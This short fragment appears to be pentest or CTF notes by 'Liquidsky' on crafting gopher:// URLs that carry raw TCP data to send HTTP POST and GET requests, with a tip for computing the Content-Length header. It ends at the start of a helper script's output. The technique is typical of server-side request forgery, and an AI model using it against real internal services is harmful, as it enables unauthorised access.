Gopher HTTP requests (POST/GET) | By: Liquidsky
URL: gopher: // :/_ followed by TCP data stream
Tip for determing POST request length:
└─$ echo "username=admin&password=admin" | wc -c
30
Subtract 1 from this result. = 29 -> Then add this to content length header.
Example output:
└─$ python3 gopher-requests.py
1. Gopher GET Request
